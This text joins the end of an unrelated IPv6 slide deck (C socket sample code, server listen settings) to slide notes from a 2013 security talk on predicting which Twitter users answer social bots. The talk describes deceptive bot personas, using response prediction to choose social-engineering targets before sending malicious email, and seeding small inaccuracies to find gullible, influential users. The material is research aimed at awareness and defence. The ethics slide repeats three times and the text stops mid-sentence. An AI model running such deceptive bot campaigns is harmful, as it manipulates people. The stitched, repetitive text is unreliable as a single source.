FEC0:0010:0083:1211:0000:0000:1287:123F IPv6 – Applications • IPv4 only applications can sometimes be patched and recompiled with IPv6 support • IPv4 applications can be proxied to use IPv6 addresses • Apps must be able to handle “:” in addresses • Apps should be able to handle both IPv4 and IPv6 addresses IPv6 – Sample Code IPv4 only • Uses IPv4 specific libraries and system calls int i, s; struct hostent hp; struct servent sp; struct sockaddr_in sin; s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); hp = gethostbyname("www.hacksonville.org"); sp = getservbyname("http", "tcp"); for (i = 0; hp->h_addr_list[i]; i++) { memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_len = sizeof(sin); sin.sin_port = htons(sp->s_port); memcpy(&sin.sin_addr, hp->h_addr_list[i], hp- >h_length); if (connect(s, &sin, sizeof(sin)) < 0) continue; break; } IPv6 – Sample Code Dual Stack – IPv4 & IPv6 ● Code uses DNS server to determine the IP address int s; struct addrinfo hints, res, res0; memset(&hints, 0, sizeof(hints)); hints.ai_family = PF_UNSPEC; hints.ai_socktype = SOCK_STREAM; getaddrinfo("www.hacksonville.org", "http", &hints, &res0); for (res = res0; res; res = res->ai_next) { s = socket(res->ai_family, res->ai_socktype, res- >ai_protocol); if (connect(s, res->ai_addr, res->ai_addrlen) < 0) { close(s); continue; } break; } freeaddrinfo(res0); IPv6 – Running Services (Apache) ● Requires service be IPv6 capable and listening ● Apache 2.xx, httpd.conf: ● Listen 0.0.0.0:80 ● Listen [::]:80 IPv6 – Running Services (SSHD) ● SSHD, sshd_conf: ● Port 22 ● Protocol 2 ● ListenAddress 0.0.0.0 ● ListenAddress :: IPv6 – 12 Steps for Overcoming NAT Addiction ● 1. We admit we are powerless over NAT - that our IP networks have become unmanagable. ● 2. We come to believe that a power greater than NAT could restore us to security. ● 3. Made a decision to turn our will and our networks over to the care of IPv6 as we understand it. ● 4. Made a searching and fearless penetration test of our networks. ● 5. Admitted to the CIO, to ourselves, and to another systems administrator the exact nature of our network security issues. ● 6. Were entirely ready to have IPv6 remove all the defects of our IPv4 NAT'ted networks. IPv6 – 12 Steps for Overcoming NAT Addiction ● 7. Humbly asked router advertisements to remove our NAT shortcomings. ● 8. Made a list of all networks we had harmed, and became willing to install IPv6 stacks on them all. ● 9. Restored end to end connectivity to such networks whenever possible. ● 10. Continued to take a network inventory and when we were using NAT promptly admitted it. ● 11. Sought through network scans and DHCPv6 to improve our network connectivity with IPv6 as we understood it, Googling only for knowledge of IPv6 for us and the power to carry that out. ● 12. Having had a router awakening as the result of these steps, we tried to carry this message to NAT addicts, and to practice these principles. IPv6 – Links North American IPv6 Task Force -- www.nav6tf.org Linux IPv6 HowTo -- www.bieringer.de/Linux/IPv6 FreeNet6 Tunnel Broker -- www.freenet6.net Hurricane Electric Tunnel Broker -- www.tunnelbroker.net NetBSD -- www.netbsd.org/Documentation/network/ipv6 FreeBSD -- www.freebsd.org OpenBSD -- www.openbsd.org Kame (BSD IPv6 Project) -- www.kame.net USAGI (Linux Port of Kame) -- www.linux-ipv6.org Japanese IPv6 Info Site -- www.ipv6style.jp/en/index.shtml Windows IPv6 Ports -- win6.jp IPv6 Events and News -- www.ipv6forum.com Moonv6 Project -- www.moonv6.org IPv6 – Questions? Comments? Concerns?	pdf
Presentation Slides with Notes: “Predicting Susceptibility to Social Bots on Twitter” by Chris Sumner & Dr. Randall Wald Presented at: Black Hat Briefings 2013 (Las Vegas, NV, USA) & DEF CON 21 (Las Vegas, NV, USA) Slide 1 Predicting Susceptibility to Social Bots on Twitter Chris Sumner & Dr. Randall Wald [email protected] & [email protected] Welcome to ‘Predicting Susceptibility to Social Bots on Twitter’. I’m Chris Sumner, representing the Online Privacy Foundation and I’m joined by Dr. Randall Wald from Florida Atlantic University. The Online Privacy Foundation is a non-profit, charitable organisation, currently focused on understanding what people might be giving away via social networks without their knowledge. https://www.onlineprivacyfoundation.org/ Before we begin, I want to make sure people have the chance to decide whether this talk is really for them Note: Majority of images via Shutterstock.com Slide 2 Web Ecology Project Tim Hwang Astroturfing Swiftboating Yazan Boshmaf If you’re familiar with these names/terms, you may find the first half of this presentation a little on the light/introductory side. Slide 3 Contains some maths… We also talk about Statistics and Machine Learning (sometimes referred to as Predictive Analytics). We’ll keep this to a minimum, but ensure the slide notes contain more detail. We’ll also include some hidden slides in the hand-outs which provide more details. So… on to the talk… Slide 4 It’s only fitting, since we’re in Las Vegas, that we talk about odds. Slide 5 Goal = Improve the odds The goal of our work was to see if we could improve the odds of finding users more likely to respond to a relatively crude twitter bot… While it would be interesting, we never expected to be able to predict susceptibility with laser like accuracy. “Predictions need not be accurate to score big value” (page 10 - Book. Predictive analytics – The power to predict who will click, buy, lie or die’ – Eric Siegel) Ref: Siegel, E. 2013. Predictive analytics. Hoboken, N.J.: Wiley. Slide 6 Goal = Improve the odds I want to be up front that you might not find the improvements we reach that exciting. To those with an interest in machine learning/prediction, the results should remain of interest. Slide 7 Anyone know who this guy is?.... It’s Tim Hwang…. Slide 8 And back in early 2011 I’d stumbled upon this fascinating and amusing competition which he hosted with the Web Ecology Project… ….it was described as… References: - 5 minute video overview of the Social Bots competition - http://ignitesanfrancisco.com/83e/tim-hwang/ - The winners blog post - http://aerofade.rk.net.nz/?p=152 ( @AeroFade on Twitter ) This is what the winning bot did…. • Created a lead bot called @JamesMTitus • Instantly go out and follow all 500 of the target users • every 2-3 hours, tweet something from a random list of messages. • constantly scan flickr for pictures of "cute cats" from the Cute Cats group and blog them to James' blog "Kitteh Fashun" - (which auto tweets to James' twitter timeline) • 4 secondary bots following the network of the 500 users and the followers of the targets to test for follow backs (and then getting James to follow those that followed back, once per day) - we believed that expanding our own network across mutual followers of the 500 would increase our likely hood of being noticed (through retweets or what have you from those who were not in the target set. Slide 9 3 teams took part and were given those same 500 unsuspecting users to target. Slide 10 …the 500 targets all had a common interest/fondness in cats (the animals, not the musical) Slide 11 +1 Mutual Follow +3 Social Response -15 Killed by Twitter The teams gained 1 point for a follow back, 3 points for some response and they lost 15points if they got killed by Twitter (suspended) Slide 12 “It’s blood sport for internet social science/network analysis nerds.” ….It was described as ‘blood sport of internet social science/network analysis nerds Slide 13 0 100 200 300 400 500 600 198 2 weeks later… @AeroFade 302 Two weeks later, the winning team achieved 701 points, 107 mutual follow backs and 198 social responses. You can check out @AeroFade’s Twitter and his blog. http://aerofade.rk.net.nz/?p=152 ( @AeroFade on Twitter ) Slide 14 To date, most research has focused on how to identify bots, but less research has looked… Slide 15 …the other side of the question – detecting users likely to be fooled by bots, something which is important in helping raise awareness and seek solutions.…. This point was raised by Yazan Boshmaf in the paper ‘Design and Analysis of a Social Botnet’ http://lersse- dl.ece.ubc.ca/record/277/files/COMNET_Social bots_2012.pdf We cover this later in the deck, but here’s the quote from the paper for those reading along “To this end, we are currently investigating two directions from the defense side. The first involves understanding the factors that influence user decisions on befriending strangers, which is useful in designing user- centered security controls that better communicate the risks of online threats” Slide 16 …So while we were conducting our 2012 study into Twitter usage and the Dark Triad of personality, we figured we’d incorporate a side project to look at social bots and, as an organization, attempt to answer couple of questions…. Ref: Sumner, C., Byers, A., Boochever, R., and Park, G, J. (2012). Predicting Dark Triad Personality Traits from Twitter usage and a linguistic analysis of Tweets, 11th IEEE International Conference on Machine Learning and Applications, 2012, pp. 386-393 https://www.onlineprivacyfoundation.org/rese arch_/PredictingdarkTriadPersonalityTraitsfrom Twitter.pdf Slide 17 Are some users more naturally predisposed to interacting with social bots? i.e. Are some users more naturally predisposed to interacting with social bots (you could argue Strangers) than others? Does personality play a part? Slide 18 Is it possible to increase the odds of getting a response from a twitter user? …and is it possible that social bot creators could use machine learning to better target users who are more likely to response. Slide 19 ….thereby (the thinking goes) reducing the chances of landing in Twitter Jail (account suspension). Slide 20 Who cares? The obvious question is… “Who cares?”. we’ll look at these in greater depth during the talk, but the next 5 slides provide a high-level summary. Starting with… Slide 21 #1 #1. Marketeers: Marketeers who are looking to get a higher klout (kred etc) score for the brand they’re representing, might be able to focus on users who are more likely to interact (or engage) with them. This might be a useful strategy for the early stages of building a brand (fake or otherwise), but it could also mean that some users are deluged with far more spam than others. .. Initially (some, not all) marketeers and blackhat SEO folks wanted your ‘likes’, but since that doesn’t necessarily translate to a purchase (because that was easy to game with bots), they’re being requested to create ‘engagement’. Social bots present an obvious evolution. Slide 22 #2 Propagandists #2. Propagandists, AstroTurfers and their ilk: Finding users who are most likely to help propagate your message or at the very least, give credence to the bot account. Slide 23 #3 Social Engineers #3. Social Engineering Assignments: Since the most predictive features (klout score, number of friends/follows) are easily obtained through API calls, this makes it very easy to build/model in Maltego (or similar tools). Here we can see @Alice’s imaginary Twitter friends. A simple Maltego local-transform could be used to flag users who are more likely to engage in conversation, which might prove use for Social Engineers looking for weaker points in a social graph. E.g. You know the Twitter accounts of users in ‘Acme Corp’ and want to highlight the ones who maybe most likely to talk to you. The red icons are the users to focus on. One approach here would be to build one or more trust relationships with the “red” users before convincing the target to accept an email from you with malicious content. In this scenario, it seems that it would make sense to generate less noise and focus on the users where the odds of a reply are better. See also: M. Huber, S. Kowalski, M. Nohlberg, and S. Tjoa. Towards automating social engineering using social networking sites. Computational Science and Engineering, IEEE International Conference on, 3:117–124, 2009 Slide 24 #4 2013 paper by Erhardt Graeff What We Should Do Before the Social Bots Take Over: Online Privacy Protection and the Political Economy of Our Near Future “ ” The privacy implications are nicely described in this recent paper by Erhardt Greaff. http://web.mit.edu/comm- forum/mit8/papers/Graeff-SocialBotsPrivacy- MIT8.pdf Greaff, E. 2013. "What We Should Do Before the Social Bots Take Over", paper presented at Media in Transition 8, Cambridge, MA, May 3- 5. Specifically… “Consider a hypothetical internet startup that sells widgets. They decide to employ social bots to interact online with likely buyers of widgets. The bots are part of an advertising strategy that human public relations employees already use on social media Platforms — they attempt to create real relationships with users on a network in order to better understand their customer base and engender brand awareness and loyalty. Users may or may not be aware of the fact that they are interacting with a bot, but the conversation and relationship is continuous because the bot is always available and responsive. As the relationship between the social bot and the user matures, the conversation might span both public and private social media spaces (such as Twitter’s direct messages), wherein a user might expect a greater degree of privacy or discretion from a human interlocutor. However, the bot may not acknowledge the nuances of such social norms and ethics; moreover, the company that runs the bot is collecting all of this data. While it’s feasible that a human or team of humans could undertake such an advertising strategy on behalf of a company, it’s unlikely to scale to the number of relationships necessary to make it cost effective. This poses no challenge to a social bot, which has perfect memory and requires no sleep or overtime pay. An unlimited number of relationships could be maintained through a social bot with the level of responsiveness necessary to produce intimate connections. The better the machine learning algorithms powering a social bot’s artificial intelligence the more data they can process and use to improve their social interactions. This means the potential creation of more intimate interactions based on historical data collected from you or from others in your friend network, including discussions of personal relationships—significant others and kids, work or life complaints and concerns, and hobbies (both conventional or embarrassing — the bot will simply meet you where you are at and affirm you). Extracted personal data can also go beyond text if you share personal photographs and videos or link to those that you like; there are also data that may be invisible during social interactions with bots but which they are aware of: time, location (GPS data from mobile phones or IP addresses of networked computers), and even purchase records, depending on what corporation or even data sharing consortium the bot is affiliated with” Slide 25 #5 Social Network Providers Source: With permission from Doctor Popular http://www.flickr.com/photos/docpopular/2965791959/in/set-72157608288434612 ..Conversely, existing social media sites are getting much better at detecting bots so part of an effective bot strategy is reducing the chances of ending up in Twitter jail. Image Source: With permission from Doctor Popular http://www.flickr.com/photos/docpopular/2965791959/in /set-72157608288434612 From a larger set titled “Robots don’t know anything about Twitter” - http://www.flickr.com/photos/docpopular/sets/72157608 288434612/ Slide 26 So we set to work, or rather our bots did. Slide 27 The rest of the talk flows like this. - Provide some historic perspective. Social Bots 101 if you like. - Highlight some interesting research in this field - Describe our method - Share our findings and wrap up with - Conclusions Slide 28 Timing ~7 minutes Slide 29 “A social bot is a piece of software that controls a user account in an online social network and passes itself of as a human” (Wagner et al) Wagner et al (2012)” Wagner et al define Social Bots as “a piece of software that controls a user account in an online social network and passes itself of as a human”. This is a useful working definition for us. “When social bots attack: Modeling susceptibility of users in online social networks “ Paper - http://www.markusstrohmaier.info/documents /2012_MSM12_socialbots.pdf Slides - http://www.slideshare.net/clauwa/slides- 20528287 The socialbot M.O. is to • make friends, • gain a level of trust, • influence Slide 30 The Sybil Attack (2002) John R. Douceur Microsoft Research You may also hear Social Bots referred to as Sybils Although not quite in the same context, John Doucer at Microsoft Research used “Sybils” in his 2002 papr, ‘The Sybil Attack’ http://www.few.vu.nl/~mconti/teaching/ATCN S2010/ATCS/Sybil/Sybil.pdf Slide 31 Bots aren’t new, Chatterbots featured in research around 1994 (probably earlier). In this talk we’re really examining bots in social media, which for the sake of argument, we’ll split into 1st Generation and 2nd Generation bots… http://www.lazytd.com/lti/pub/aaai94.html Slide 32 Photo Credit : http://mashable.com/2009/04/01/social-media-cartoon-the-twitter-follower-bots/ Early bots tend to be all about making you look popular (with fake followers). These are still hugely popular and according to a recent NY Times article, remain a lucrative business, but ultimately they’re pretty dumb. http://bits.blogs.nytimes.com/2013/04/05/fak e-twitter-followers-becomes-multimillion- dollar-business/ Slide 33 …then there’s good old-fashioned spam…. ‘@spam: The Underground on 140 Characters or Less’ (Grier, 2010) http://imchris.org/research/grier_ccs2010.pdf Slide 34 Amusing ..some bots are all about humour… Here Kevin thanks the Universe… Slide 35 Amusing ..to which, The Universe responds… Slide 36 …and in the case of @AI_AGW, some respond to climate change deniers… http://www.huffingtonpost.com/2010/11/09/n igel-lecks-turing-test-t_n_780925.html http://blogs.discovermagazine.com/discoblog/ 2010/11/03/chatbot-debates-climate-change- deniers-on-twitter-so-you-dont-have-to/ These are all pretty basic bots which remain prevalent today. Slide 37 In 2008 we see the first (Publicly at least) manifestation of a smarter social bot on Twitter. Project Realboy plays with the concept of creating more believable bots. This is around the same time that Hamiel and Moyer shared their BlackHat and DefCon talk “Satan Is On My Friends List” highlighting that some of your social media friends may be imposters. We saw another example of that in the 2010 ‘Robin Sage’ talk at Blackhat. Project Realboy by Zack Coburn & Greg Marra - http://ca.olin.edu/2008/realboy/ Satan is on my Friends List - http://www.blackhat.com/presentations/bh-jp- 08/bh-jp-08-Moyer-Hamiel/BlackHat-Japan-08- Moyer-Hamiel-Satan-Friends-List.pdf Slide 38 Virtual Plots, Real Revolution (Temmingh and Geers - 2009) “For example, in the week before an election, what if both left and right-wing blogs were seeded with false but credible information about one of the candidates? It could tip the balance in a close race to determine the winner” Things get a bit more sinister in 2009. A 2009 paper by Temmingh and Geers (Roelof Temmingh of Sensepost/Paterva/Maltego fame) states “For example, in the week before an election, what if both left and right-wing blogs were seeded with false but credible information about one of the candidates? It could tip the balance in a close race to determine the winner”. Source: R Temmingh http://www.ccdcoe.org/publications/virtualbat tlefield/21_TEMMINGH_Virtual%20Revolution %20v2.pdf Slide 39 V Year Later… …and in 2010 (if not earlier) we see it play out for real. “Four days before the 2010 special election in Massachusetts to fill the Senate seat formerly held by Ted Kennedy, an anonymous source delivered a blast of political spam. The smear campaign launched against Democratic candidate Martha Coakley quickly infiltrated the rest of the election-related chatter on the social networking service Twitter. Detonating over just 138 minutes, the “Twitter bomb” and the rancorous claims it brought with it eventually reached tens of thousands of people.”…. Source - http://www.sciencenews.org/view/feature/id/ 345532/description/Social_Media_Sway Some notes “A single change in the decision to vote can affect many individuals….Because…. there are competing effects between the decay of influence and the growth in the number of acquaintances…….. But as people hang out with like-minded individuals… cascades will not be zero sum So the decision of a single individual to vote has a substantially larger impact than what an atomized theory of individuals might say….. “ Truthy: Mapping the Spread of Astroturf in Microblog Streams Detecting and Tracking Political Abuse in Social Media “…Here we focus on a particular social media platform, Twitter, and on one particular type of abuse, namely political astroturf — political campaigns disguised as spontaneous “grassroots” behavior that are in reality carried out by a single person or organization. This is related to spam but with a more specific domain context and potentially larger consequences.” Sep. 28, 2010 — Astroturfers, Twitter-bombers and smear campaigners need beware this election season as a group of leading Indiana University information and computer scientists have unleashed Truthy.indiana.edu, a sophisticated new Twitter-based research tool that combines data mining, social network analysis and crowdsourcing to uncover deceptive tactics and misinformation leading up to the Nov. 2 elections. http://www.sciencedaily.com/releases/2010/0 9/100928122612.htm Also - http://cs.wellesley.edu/~pmetaxas/How- Not-To-Predict-Elections.pdf “The success of a Twitter-bomb relies on two factors: targeting users interested in the spam topic and relying on those users to spread the spam further. (http://journal.webscience.org/317/2/websci1 0_submission_89.pdf) ” http://www.academia.edu/841719/From_obsc urity_to_prominence_in_minutes_Political_spe ech_and_real Slide 40 V Year Later… …The result of that election, Scott Brown won. Slide 41 …this type of campaign has a name, Slide 42 Swift-boating… …Swiftboating – “The term swiftboating (also spelled swift-boating or swift boating) is an American neologism used pejoratively to describe an unfair or untrue political attack. The term is derived from the name of the organization "Swift Boat Veterans for Truth" (SBVT, later the Swift Vets and POWs for Truth) because of their widely publicized[1] then discredited campaign against 2004 US Presidential candidate John Kerry” (Wikipedia – 26th March 2013) Slide 43 Photo Credit : http://www.guardian.co.uk/world/2012/feb/07/hacked-emails-nashi-putin-bloggers and allegedly, prior to the 2012 Russian Presidential elections, a pro-Kremlin organization reportedly paid hundreds of thousands of $’s to network of internet users to help political cause by creating flattering coverage on Vladamir Putin. Source - http://www.guardian.co.uk/world/2012/feb/07 /hacked-emails-nashi-putin-bloggers An article in the Economist describes the Russian smear campaigns as reaching “farcical levels”, http://www.economist.com/blogs/easternappr oaches/2012/02/hackers-and-kremlin http://www.themoscowtimes.com/news/articl e/campaign-mudslinging-taken-to-new- lows/452583.html Slide 44 This is a little different to Swift-boating in that it’s generally not a smear campaign…Astroturfing - refers to political, advertising or public relations campaigns that are designed to mask the sponsors of the message to give the appearance of coming from a disinterested, grassroots participant. “It could tip the balance in a close race to determine the winner” (Temmingh & Geers, 2009) Slide 45 …This is essentially what gave rise to Truthy, a project started at Indiana University to “The Truthy system evaluates thousands of tweets an hour to identify new and emerging bursts of activity around memes of various flavors.”… “We also plan to use Truthy to detect political smears, astroturfing, misinformation, and other social pollution” - http://live.wsj.com/video/the-truthy- project-ferrets-out-online- deception/219A2EA6-4D22-4F5B-8D96- 81AF342104F7.html#!219A2EA6-4D22- 4F5B-8D96-81AF342104F7 – BBCQT http://truthy.indiana.edu/movies/show/1264 “A well functioning democracy requires accountability and trust…” http://truthy.indiana.edu/site_media/pdfs/ratk iewicz_icwsm2011_truthy.pdf Slide 46 And in 2011, it was revealed that the US were exploring fake persona’s. The anonymous attack on HBGary exposed emails discussing such use cases… Source: “UPDATED: The HB Gary Email That Should Concern Us All” http://www.dailykos.com/story/2011/02/16/9 45768/-UPDATED-The-HB-Gary-Email-That- Should-Concern-Us-All# A SockPuppet is an online identity used for purposes of deception (see also, Persona Management) Slide 47 “A large virtual population, scattered all over the world and encompassing different socioeconomic backgrounds, could be programmed to support any personal, social, business, political, military, or terrorist agenda.” (Temmingh & Geers, 2009) So it seemed that Temmingh and Geers’ future looking paper had it pretty much right - “In 2009, hackers steal data, send spam, and deny service to other computers. In the future, they may also control virtual armies, in the form of millions of artificial identities that could support any personal, business, political, military, or terrorist agenda.” Which leads us to more recent developments and a couple of things Tim Hwang is working on… Temmingh and Geers paper at - http://www.ccdcoe.org/publications/virtualbat tlefield/21_TEMMINGH_Virtual%20Revolution %20v2.pdf Slide 48 Another interesting area for abuse is Fake customer service account. In December 2012, we saw the telecoms provider EE apparently asking for mobile phone numners, postcodes and passwords via Twitter DM’s. This was blogged about by Troy Hunt here… http://www.troyhunt.com/2012/12/ee-k- dming-your-password-is-never-good.html What was more interesting as the @MyEECare account which sprang up. Had the people behind the fake account been truly malicious, they could have mimicked the real account and harvested a considerable amount of user data. “Update, 31 Dec 2012: There’s one other very, very important point I neglected to make and I’ve inadvertently demonstrated it perfectly in the image above. The @MyEECare account is fake and has been suspended in the 7 hours since I wrote the post. There’s now an @EESupport account doing the same thing; same avatar as @EE, same branding too. Obviously it’s not Twitter verified like the official account, but it’s convincing enough that were they to ask someone for their password via DM, I reckon there’s a damn good chance they’d get it. Your average consumer isn’t going to do their own due diligence on the account authenticity before sending personal data – particularly when it’s presented like these ones – and that’s a serious risk indeed” Slide 49 And finally, after our BlackHat presentation (July 2013), two gentlemen approached me asking about the problem of social bots misdirecting emergency resources. “A lie gets halfway around the world before the truth has a chance to get its pants on” The reminded me of a talk by Prof Rob Proctor at University of Manchester http://www.jisc.ac.uk/news/social-media-not- to-blame-for-inciting-rioters-08-dec-2011 “Also according to the research team, rumours 'break' quickly in Twitter and the mainstream media lag behind citizen reports. Examples include rumours the London Eye had been set on fire and animals had been released from the London Zoo – which both turned out to be untrue. Other stories turned out to be true such as the burning down of a Miss Selfridge shop in Manchester. Professor Procter added: "Only after a period of time does the influence of mainstream media organisations become critical for determining a rumour's credibility. "But we do find the mainstream media is perfectly capable of picking up and publishing unverified information from social media without adhering to the usual standard of fact checking. "Consequently, some stories of this nature, though never verified, go unchallenged." “How riot rumours spread on Twitter - Analysis of 2.6 million tweets shows Twitter is adept at correcting misinformation - particularly if the claim is that a tiger is on the loose in Primrose Hill “ http://www.theguardian.com/uk/interactive/2 011/dec/07/london-riots-twitter Slide 50 I already mentioned the Web Ecology project. On the back of that, Tim Hwang created an organization called Pacific Social to explore social networks a little further. www: http://pacsocial.com/ Twitter: @pacsocial Slide 51 For example, Tim had grown interested by the amount in which the bots had distorted the original graph of 500 users (left) from the 2011 Social Bots competition. The graph on the right is what the social graph looked like after the competition… Slide 52 Social Bridge Building so they’re examining whether it’s possible to use an army of social bots to stitch two separate online communities together, or keep people in touch… Slide 53 Another concept they’re interested in is Emotional Contagion and more specifically, a concept Tim coined as “Happiness Buffering”. Their interest in this stems from the work of Nicholas Christakis, you may be familiar with his book, “Connected – The surprising power of our social networks and how they shape our lives”. “Renowned scientists Christakis and Fowler present compelling evidence for our profound influence on one another's tastes, health, wealth, happiness, beliefs, even weight, as they explain how social networks form and how they operate.” - http://connectedthebook.com/ Getting back to “Happiness Buffering”, Tim wondered whether you could…. Ref: Happiness - http://www.mitpressjournals.org/doi/abs/10.1 162/artl_a_00034 Tim Hwang at Hope 9 - http://youtu.be/ZfQt6FWDi6c?t=26m44s Slide 54 …Monitor a group, and if… Slide 55 …some members happiness (measured via sentiment analysis) dipped below a certain level, the surrounding nodes could… Slide 56 ..start injecting happier tweets… Slide 57 …….until a reasonable chunk of the social graph are less sad. Slide 58 Social Penetration Testing 1. Spread information with small inaccuracies 2. See where they’re challenged & where they’re not challenged 3. Identify who’s most influential but worst at evaluating what is real 4. Target them And finally he highlighted the potential for Social Penetration Testing. I’d encourage you to check out Tim’s HOPE 9 talk, it’s both entertaining and informative. Tim Hwang at Hope 9 - http://youtu.be/ZfQt6FWDi6c Slide 59 Yazan Boshmaf It would be remiss of me, not to mention Yazan Boshmaf from the University of British Columbia. Yazan and team investigated social bots on Facebook which generated a number of headlines… Slide 60 …including this one, “'Socialbots' steal 250GB of user data in Facebook invasion”, while there’s some sensationalism in the headline the message aligns nicely with the concerns Erhardt Greaff cited in “What We Should Do Before the Social Bots Take Over“ and hits on a general key themes; social bots can obtain otherwise private information and they can scale. “'Socialbots' steal 250GB of user data in Facebook invasion” - http://news.cnet.com/8301-1009_3-20128808- 83/socialbots-steal-250gb-of-user-data-in- facebook-invasion/ Yazan’s site: http://blogs.ubc.ca/boshmaf/ Yazan’s 2012 USENIX talk - “Key Challenges in Defending Against Malicious Socialbots” - https://www.usenix.org/conference/leet12/ke y-challenges-defending-against-malicious- socialbots Slide 61 “To this end, we are currently investigating two directions from the defense side. The first involves understanding the factors that influence user decisions on befriending strangers, which is useful in designing user- centered security controls that better communicate the risks of online threats.” Boshmaf et al (2012) Yazan and team were also among the first to recommend that future studies also need to focus on ‘understanding the factors that influence user decisions on befriending strangers, which is useful in designing user- centered security controls that better communicate the risks of online threats. “ Design and Analysis of a Social Botnet http://lersse- dl.ece.ubc.ca/record/277/files/COMNET_Social bots_2012.pdf Slide 62 Understanding User Behaviour #1 Secure & Trustworthy Cyberspace #2 Corporate Insider Threat Project Understanding User Behaviour is also something which the folks are the Secure & Trustworthy CyberSpace program (in the US) are examining and the Corporate Insider Threat project at Oxford University …so understanding more about human behaviour, the signs to look for and how bots (and other humans) can exploit them, is a worthwhile question to explore. Indeed, “Understanding and accounting for human behavior” is recognized in one of the 5 key areas in Secure & Trustworthy Cyberspace (SaTC) • Scalability & compatibility • Policy generated secure collaboration • Security metrics driven education, design, dev, deployment • Resilient architectures • Understanding and accounting for human behavior SaTC • https://illinois.edu/blog/dialogFileSec/2434. pdf • http://www.satc-cybercafe.net/presenters/ • http://www.satc-cybercafe.net/wp- content/uploads/2012/10/NSF.jpg Corporate Insider Threat – • http://www.cs.ox.ac.uk/projects/CITD/ Slide 63 …so it’s a good bet that bot creators will find targeting users who’ll quite literally talk to anyone or anything, to be a very attractive prospect.… Slide 64 Timing ~18 minutes Slide 65 Image source:http://www.webecologyproject.org/2011/02/complete-source-code-from-socialbots-2011/ Slide 66 610 Participants We had 610 participants who agreed to take part in a mystery experiment. Slide 67 For each user, we obtained twitter information, including historic tweets for linguistic analyses, personality traits and their klout score. This was the same method as employed in our Dark Triad paper. https://www.onlineprivacyfoundation.org/rese arch_/PredictingdarkTriadPersonalityTraitsfrom Twitter.pdf Slide 68 Bota Botb We divided participants into two groups to speed up processing. Each group had a bot assigned to it (the bots were the same) Slide 69 I’ve got all my own teeth We used the Social Ecology Project’s winning bot model. (Available under MIT license). We rewrote and slightly modified it in python. The winning bot code was based on a young man, @JamesMTitus, we made some subtle changes (which I’ll discuss). The first change is that we based our bots on old ladies with mildy humour biographies. We wanted to keep to the spirit of @JamesMTitus as much as possible, i.e. somewhat banal tweeting. Complete Source Code From Socialbots 2011 - http://www.webecologyproject.org/2011/02/c omplete-source-code-from-socialbots-2011/ Slide 70 Architecture Initially, and to provide some credibility, each bot started off by following some standard celebrity and news accounts. We then built up a thin veneer of authenticity by populating a Word Press blog with pictures of dogs in knitted clothes. (This follows the winning bot processes). This work using code @AeroFade had written to extract images from Flickr groups such as this… Slide 71 …a dog wearing a snazzy overcoat… Slide 72 and post them on a wordpress blog as such… Slide 73 New blog post – Technicolor Dream Sweater http://whatever/ A wordpress to Twitter plugin would then tweet from our social granny bot. Nothing groundbreaking, some simple enough to do. Slide 74 Architecture Next we used the site “If this, then that” to comment that the weather was pleasant if it reached a certain temperature in a sea side town in the UK. https://ifttt.com/ Slide 75 e.g. if the temperature got over 20C Slide 76 Our bot would tweet… Slide 77 Wonderful, I can switch the heating off, it's 21 C and Sunny in Bournemouth Like this. Slide 78 Architecture Interactions.csv Next, our bot would start following it’s targets, recording any interactions (such as follow backs) in a simple, timestamped .csv file. Following 305 users took some considerable time (over 10 days) to not trigger Twitters aggressive following alarm. At the same time, our social bot began Tweeting for a list of Tweets. We used the list of Tweets from the winning bot code (to keep things fairly standard), but replace references to cats with references to dogs. @JamesMTitus was a cat fan, our social bots liked dogs. Tweeted something random Slide 79 Slide 80 "fracking cops - always in ma hood stealing ma hos" We also replaced some Tweets which may have been considered misogynistic and replaced them with (hopefully) equally frivolous tweets such as… Slide 81 I aint tellin’ no lies even a thug lady cries… … but I show no fears, I cry gangsta tears …and… Slide 82 …and…. Slide 83 "My dog is so adorable, I swear he barks “Sausages” How human is your pet?" …and finally… Slide 84 Architecture Interactions.csv Tweets.txt questions.txt Targets.csv ? Once all targets had been followed, the bot would ask each participant an innocuous question and record whether there was a response. We used broadly the same questions as those in the Web Ecology Project. Slide 85 162 Questions 162 questions in total, cycled to cover 305 users. Examples of questions were…. Slide 86 Ever Milked a Cow? Ever… Slide 87 Ever Milked a Cow? …Milked a Cow? Slide 88 What’s better? …What’s better Slide 89 Dog? or Slide 90 Cat? Slide 91 What super powers do you have or wish you had? 0 20 40 60 80 100 Ability to reach through monitor and punch idiots in the face Invisibility Super strength Ability to fly What super powers do you have of wish you had? Slide 92 …and finally, we added an ELIZA engine to keep conversation going. (The Social bots, bot had a list of standard replies, we made ours a little more context aware). ELIZA—a computer program for the study of natural language communication between man and machine (Weizenbaum, 1966) Rogerian psychotherapist Rogers, Carl (1951). "Client-Centered Therapy" Cambridge Massachusetts: The Riverside Press. Slide 93 Example Eliza Responses r’Hello(.)’ Hey, how is your day going so far? Here’s one sample exchange… Slide 94 Example Eliza Responses Interesting! r’I think(.)’ lol that's what she said :P ..however, we wanted to retain some of the randomness and frivolity from @JamesMTitus, so we seeded the Eliza engine with a small number of banal responses such as “lol, that’s what she said ” Slide 95 Ethics Now, if you ask anyone researching social bots about ethics, you’ll get a similar response. It’s difficult. A simple tweet could cause someone to have a really bad day or worse. Look at this interaction that the social bots winner had regarding a deceased cat. For this reason, we built a delay into our bots response so we could determine if a reply would cause offence or not. In practice, we didn’t have this problem. British Psychological Society – Code of Human Research Ethics - http://www.bps.org.uk/sites/default/files/docu ments/code_of_human_research_ethics.pdf “In accordance with Ethics Principle 3: Responsibility of the Code of Ethics and Conduct, psychologists should consider all research from the standpoint of the research participants, with the aim of avoiding potential risks to psychological well-being, mental health, personal values, or dignity.” Slide 96 Ethics Now, if you ask anyone researching social bots about ethics, you’ll get a similar response. It’s difficult. A simple tweet could cause someone to have a really bad day or worse. Look at this interaction that the social bots winner had regarding a deceased cat. For this reason, we built a delay into our bots response so we could determine if a reply would cause offence or not. In practice, we didn’t have this problem. British Psychological Society – Code of Human Research Ethics - http://www.bps.org.uk/sites/default/files/docu ments/code_of_human_research_ethics.pdf “In accordance with Ethics Principle 3: Responsibility of the Code of Ethics and Conduct, psychologists should consider all research from the standpoint of the research participants, with the aim of avoiding potential risks to psychological well-being, mental health, personal values, or dignity.” Slide 97 Ethics Now, if you ask anyone researching social bots about ethics, you’ll get a similar response. It’s difficult. A simple tweet could cause someone to have a really bad day or worse. Look at this interaction that the social bots winner had regarding a deceased cat. For this reason, we built a delay into our bots response so we could determine if a reply would cause offence or not. In practice, we didn’t have this problem. British Psychological Society – Code of Human 